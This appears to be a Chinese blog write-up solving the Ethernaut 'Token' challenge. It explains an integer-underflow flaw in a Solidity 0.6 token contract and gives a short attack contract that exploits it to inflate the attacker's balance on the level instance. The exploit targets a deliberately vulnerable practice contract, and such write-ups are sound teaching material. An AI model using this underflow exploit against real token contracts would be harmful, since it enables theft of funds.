抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

Token

1. 题目要求

  • 1.1 这一关的目标是攻破下面这个基础 token 合约

  • 1.2 你最开始有20个 token, 如果你通过某种方法可以增加你手中的 token 数量,你就可以通过这一关,当然越多越好

  • 1.3 合约代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

mapping(address => uint) balances;
uint public totalSupply;

constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}

function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}

function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}

2. 分析

  • 2.1 编译器版本:^0.6.0,且没用SafeMath库,所以可能出现整数溢出漏洞

  • 2.2 代码分析:

  • require(balances[msg.sender] - _value >= 0);检查用户余额是否大于或等于零,但由于余额是无符号整数,当我们减去的数字 ( _value) 大于代balances[msg.sender]币的钱包余额 ( ) 时,就会发生溢出,钱包余额变为最大无符号整数减去这两个值之间的差值。

    通过 require 语句后,还有一个错误是将这个溢出的值赋值给 的余额msg.sender

  • 2.3 攻击合约:

1
2
3
4
5
6
7
8
9
10
contract Hack {

function attarck() public {
// 实例地址
Token token = Token(0x03130C8ca692f8980461A9C96411aAf5e0A71AcB);
// 自己的钱包地址
token.transfer(0x2DeF5505E8EfaD8dF16eFE1dFd8a49f52360b2e8,100);
}

}
  • 2.4 调用Hack 合约中的 attract() 函数

3. 解题

  • 3.1 获取关卡实例地址:0x03130C8ca692f8980461A9C96411aAf5e0A71AcB

  • 3.2 部署攻击合约

  • image-20230224123310629

  • 3.3 查看我的钱包地址的余额

  • image-20230224123443633

  • 3.4 开始合约攻击,并查看余额

  • image-20230224123611746

  • image-20230224123837227

  • 3.5 提交实例,返回结果,成功!!!

  • image-20230224124043820

评论



政策 · 统计 | 本站使用 Volantis 主题设计